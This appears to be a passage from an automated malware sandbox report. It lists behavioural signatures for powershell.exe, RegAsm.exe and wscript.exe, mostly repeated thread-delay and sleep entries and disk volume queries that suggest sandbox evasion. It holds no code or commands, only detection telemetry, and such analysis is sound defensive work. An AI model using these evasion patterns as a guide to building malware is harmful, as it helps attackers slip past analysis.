                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1739Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1438Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3710Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6103Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5840Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1658Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6449Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 547Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7742Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 661Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8978Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 9056
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8489
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 393
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4007
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1290
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3529
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 865
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWindow / User API: threadDelayed 6556
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWindow / User API: threadDelayed 2861
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2672
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 984
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5406
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6403
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5047
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 872
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6741
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7990
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6859
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 590
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5624
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5389
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8366
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4233
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1111
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7536
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 9807
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 9147
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6828Thread sleep count: 3710 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1364Thread sleep count: 6103 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2916Thread sleep time: -11068046444225724s >= -30000sJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6332Thread sleep count: 5840 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6332Thread sleep count: 1658 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1196Thread sleep time: -11990383647911201s >= -30000sJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6064Thread sleep time: -922337203685477s >= -30000sJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 428Thread sleep count: 6449 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7272Thread sleep time: -8301034833169293s >= -30000sJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 428Thread sleep count: 547 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7228Thread sleep time: -922337203685477s >= -30000sJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7236Thread sleep count: 7742 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7224Thread sleep count: 661 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7276Thread sleep time: -8301034833169293s >= -30000sJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7260Thread sleep time: -922337203685477s >= -30000sJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7460Thread sleep count: 8978 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7516Thread sleep time: -24903104499507879s >= -30000sJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7472Thread sleep count: 119 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7516Thread sleep time: -922337203685477s >= -30000sJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7388Thread sleep count: 9056 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7512Thread sleep time: -23058430092136925s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7396Thread sleep count: 38 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7512Thread sleep time: -922337203685477s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7728Thread sleep count: 8489 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7828Thread sleep count: 31 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7828Thread sleep time: -28592453314249787s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7732Thread sleep count: 393 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7692Thread sleep time: -922337203685477s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7792Thread sleep count: 4007 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860Thread sleep time: -7378697629483816s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7820Thread sleep time: -922337203685477s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8148Thread sleep count: 1290 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8148Thread sleep count: 93 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8116Thread sleep time: -30000s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8164Thread sleep time: -1844674407370954s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2992Thread sleep count: 3529 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7612Thread sleep time: -11990383647911201s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5952Thread sleep count: 865 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7612Thread sleep time: -922337203685477s >= -30000s
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 412Thread sleep time: -31359464925306218s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3492Thread sleep count: 2672 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6044Thread sleep time: -4611686018427385s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3604Thread sleep count: 252 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6044Thread sleep time: -922337203685477s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5144Thread sleep count: 984 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2312Thread sleep time: -30000s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2028Thread sleep time: -922337203685477s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1244Thread sleep count: 5406 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5776Thread sleep time: -12912720851596678s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5776Thread sleep time: -922337203685477s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7696Thread sleep count: 6403 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2932Thread sleep time: -16602069666338586s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6160Thread sleep count: 153 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7888Thread sleep time: -922337203685477s >= -30000s
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3312Thread sleep time: -922337203685477s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3584Thread sleep count: 5047 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864Thread sleep time: -14757395258967632s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864Thread sleep time: -922337203685477s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8264Thread sleep count: 872 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8280Thread sleep time: -922337203685477s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8356Thread sleep count: 6741 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8480Thread sleep time: -26747778906878833s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8356Thread sleep count: 253 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8480Thread sleep time: -922337203685477s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8440Thread sleep count: 7990 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8508Thread sleep time: -24903104499507879s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8444Thread sleep count: 121 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8464Thread sleep time: -1844674407370954s >= -30000s
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8496Thread sleep time: -922337203685477s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8580Thread sleep count: 6859 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8616Thread sleep time: -23058430092136925s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8584Thread sleep count: 74 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8616Thread sleep time: -922337203685477s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796Thread sleep count: 590 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8764Thread sleep time: -30000s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8816Thread sleep time: -1844674407370954s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8876Thread sleep count: 5624 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8988Thread sleep time: -16602069666338586s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8952Thread sleep time: -922337203685477s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8960Thread sleep count: 5389 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8996Thread sleep time: -18446744073709540s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8996Thread sleep time: -922337203685477s >= -30000s
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 9028Thread sleep time: -922337203685477s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9096Thread sleep count: 8366 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9128Thread sleep time: -27670116110564310s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9128Thread sleep time: -922337203685477s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3588Thread sleep count: 4233 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5272Thread sleep time: -11068046444225724s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3064Thread sleep count: 210 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3520Thread sleep time: -922337203685477s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8636Thread sleep count: 1111 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5196Thread sleep time: -30000s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5164Thread sleep time: -1844674407370954s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8680Thread sleep count: 7536 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8656Thread sleep time: -24903104499507879s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8656Thread sleep time: -922337203685477s >= -30000s
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8756Thread sleep time: -922337203685477s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2492Thread sleep count: 9807 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3620Thread sleep count: 37 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3620Thread sleep time: -34126476536362649s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8812Thread sleep count: 9147 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9012Thread sleep count: 37 > 30
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9012Thread sleep time: -34126476536362649s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8496Thread sleep time: -922337203685477s >= -30000s
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
                  Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile Volume queried: C:\ FullSizeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile Volume queried: C:\ FullSizeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile Volume queried: C:\ FullSizeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile Volume queried: C:\ FullSizeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile Volume queried: C:\ FullSizeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile Volume queried: C:\ FullSizeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile Volume queried: C:\ FullSizeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile Volume queried: C:\ FullSizeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile Volume queried: C:\ FullSizeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile Volume queried: C:\ FullSizeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile Volume queried: C:\ FullSizeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile Volume queried: C:\ FullSizeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile Volume queried: C:\ FullSizeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile Volume queried: C:\ FullSizeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile Volume queried: C:\ FullSizeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile Volume queried: C:\ FullSizeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile Volume queried: C:\ FullSizeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile Volume queried: C:\ FullSizeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile Volume queried: C:\ FullSizeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile Volume queried: C:\ FullSizeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile Volume queried: C:\ FullSizeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile Volume queried: C:\ FullSizeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile Volume queried: C:\ FullSizeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile Volume queried: C:\ FullSizeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile Volume queried: C:\ FullSizeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile Volume queried: C:\ FullSizeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile Volume queried: C:\ FullSizeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
